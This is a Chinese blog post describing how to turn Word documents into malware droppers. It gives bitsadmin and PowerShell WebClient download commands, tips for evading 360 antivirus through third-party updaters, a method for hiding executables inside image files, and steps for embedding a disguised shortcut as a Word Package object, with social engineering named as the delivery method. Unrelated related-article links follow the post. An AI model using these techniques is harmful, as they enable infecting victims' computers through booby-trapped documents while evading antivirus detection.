Word 通过添加Package 实现word藏毒
这个思路要结合近期在一些安全网站上公布的姿势来实现,先科普几个地方。
(1)通过cmd本身就可以直接下载:
Bitsadmin /transfer AA /download /priority normal "http://..." "..."
其实讲道理也可以直接调用Bitsadmin.exe 和cmd没关系。问题是刚刚我测试一发,返现woc 360竟然报毒了?
然后我换了个姿势,直接cmd启动powershell下载:
cmd.exe /c powershell.exe $client = new-object System.Net.WebClient $client.DownloadFile('#1', '#2')
单独直接快捷方式调用powershell下载:
OK这三种方式都不行,看样360已经对这方面做出了处理,我们只能另找其他的方法。刚刚倒腾了好久,找到了解决方案了,可以直接利用第三方软件,比如本机上装了AAA产品,分析发的升级请求调用格式(这个地方有的保护了,有的没保护),然后直接调用他就没事了,不过这个地方就自然引入了一个局限性了呗。但好消息是很多的产品都存在这种漏洞,so...OK就说这么多,我可不想整理个笔记就惹来不好的事。
(2)ok第一个姿势就算普及玩了,虽然是瞬间打脸。第二个是近期又有网站曝光了那个图片藏毒的思路,其实这个思路比较老了,但是目前来说找到这么一个网站还是很容易的,前提是了解一下基本图片文件的格式,然后在不破坏原有格式的前提下混淆东西进去,然后上传到相关网站上。但问题是因为某些限制(像是今天说的这个姿势),我们只能去找可以转存exe文件的那种,或者是dll文件的那种,但是好消息是很容易找到,具体是哪个我不透漏可以自己去找。So文件下载和文件存储问题都搞定了。
(3)然后就是word添加package对象实现类似宏病毒的插入,当然不直接插入一个exe,这次是插入一个快捷方式,创建一个兼容上面1,2的快捷方式。我随便写一个测试的吧,就加入直接调用本地计算器(这个地方扩展很大,可以直接调用本地cmd,powershell,以及已经安装的其他程序,仅仅通过简单的字符串)。
然后添加到word里面的对象->package
之后在简单改下图标啥的,掩护一下。
(4)第四部分,也是最最重要的一个部分,就是通过什么手段去传播,这个地方就考验大家 社会工程学 的能力了,我垃圾,不在这里装逼。哈哈。OK就是这样,把这些东西简单穿一下线,这几个地方是前几天逛一些安全新闻网站看到的。随便总结下。没啥难点。
Word 通过添加Package 实现word藏毒的更多相关文章
- Aspose.Words:如何添加另一个WORD文档中的Node对象
原文:Aspose.Words:如何添加另一个WORD文档中的Node对象 首先看一段代码,这段代码意图从docSource中获取第一个表格,并插入docTarget的末尾: , true); doc ...
- C# 添加、读取Word脚注尾注
脚注和尾注是对文本的补充说明.脚注一般位于页面的底部,可以作为文档某处内容的注释:尾注一般位于文档的末尾,列出引文 的出处等.在本示例中将介绍如何来添加或删除Word脚注. 工具使用:Free Spi ...
- 如何在ppt或word中添加高亮代码?
如何在ppt或word中添加高亮代码? 问题: 如何ppt中添加带有语法高亮的程序代码,就如同下面的形式(在ppt嵌入高亮代码,且可以编辑,带有行号) 详细的要求如下: 1.代码带有语法高亮. 2.结 ...
- word中添加引文操作
word中添加引文操作 转化为pdf的时候,可以通过引文处进行ctrl + 左键点击,挑战到相应的后文中的参考引文位置. 1.在文章末尾添加如下内容,并在他的下面添加一条被引文的格式
- C# PDF Page操作——设置页面切换按钮 C# 添加、读取Word脚注尾注 C#为什么不能像C/C++一样的支持函数只读传参 web 给大家分享一个好玩的东西,也许你那块就用的到
C# PDF Page操作——设置页面切换按钮 概述 在以下示例中,将介绍在PDF文档页面设置页面切换按钮的方法.示例中将页面切换按钮的添加分为了两种情况,一种是设置按钮跳转到首页.下页.上页或者 ...
- C#/VB.NET 在Word中添加条码、二维码
本文介绍如何通过C# 和VB.NET代码实现在Word文档中添加条码和二维码.代码中将分为在Word正文段落中.页眉页脚中等情况来添加. 使用工具:Free Spire.Office for .NET ...
- c#读取word内容,c#提取word内容
Post by 54admin, 2009-5-8, Views:575 1: 对项目添加引用,Microsoft Word 11.0 Object Library 2: 在程序中添加 using W ...
- C#操作word的一些基本方法(word打印,插入文件,插入图片,定位页眉页脚,去掉横线)
Microsoft.Office.Interop.Word.Application wordApp = new ApplicationClass() word对象 2. Microsoft.Offic ...
- leetcode 290. Word Pattern 、lintcode 829. Word Pattern II
290. Word Pattern istringstream 是将字符串变成字符串迭代器一样,将字符串流在依次拿出,比较好的是,它不会将空格作为流,这样就实现了字符串的空格切割. C++引入了ost ...
随机推荐
- 关于PHP的表单数组提交显示
1 <!DOCTYPE html> 2 <html> 3 <head> 4 <title></title> 5 <meta chars ...
- Prometheus自定义指标
1. 自定义指标 为了注册自定义指标,请将MeterRegistry注入到组件中,例如: public class Dictionary { private final List<String ...
- docker配置私有镜像仓库-registry和hyper/docker-registry-web
1.前言️ Docker hub是远程仓库,是国外的,push pull速度特别慢,尤其是网速不好的时候,页面都点不进去,官网 但是可以配置阿里云镜像加速哦: 因此搭建一个私有的镜像仓库用于管理我们 ...
- [THUPC2019] 找树
一.题目 点此看题 二.解法 这道题很离谱啊,看上去是求一个最大值,其实是把生成树权值为 \(i\) 的个数都给算出来,因为权值很小. 既然是生成树可以考虑矩阵树定理,我们考虑他是求这样一个式子: \ ...
- 吃透 MQ
本文主要讲解 MQ 的通用知识,让大家先弄明白:如果让你来设计一个 MQ,该如何下手?需要考虑哪些问题?又有哪些技术挑战? 有了这个基础后,我相信后面几篇文章再讲 Kafka 和 RocketMQ 这 ...
- Web实验报告
- 12、MyBatis教程之缓存
13.缓存 简介 1.什么是缓存 [ Cache ]? 存在内存中的临时数据. 将用户经常查询的数据放在缓存(内存)中,用户去查询数据就不用从磁盘上(关系型数据库数据文件)查询,从缓存中查询,从而提高 ...
- 【linux】系统编程-8-Socket
目录 前言 11. 套接字 11.1 Socket简介 11.2 socket() 11.3 bind() 11.4 connect() 11.5 listen() 11.6 accept() 11. ...
- 如何配置Nginx,实现http访问重定向到https?
现在越来越多的网站,当我们输入域名时,会自动重定向到https,我们只需要简单修改下Nginx配置文件/usr/local/nginx/conf/nginx.conf(根据个人的实际存储路径)即可. ...
- java例题_02 101~200以内的素数
1 /*2 [程序 2 输出素数] 2 题目:判断 101-200 之间有多少个素数,并输出所有素数. 3 程序分析:判断素数的方法:用一个数分别去除 2 到 sqrt(这个数),如果能被整除,则表明 ...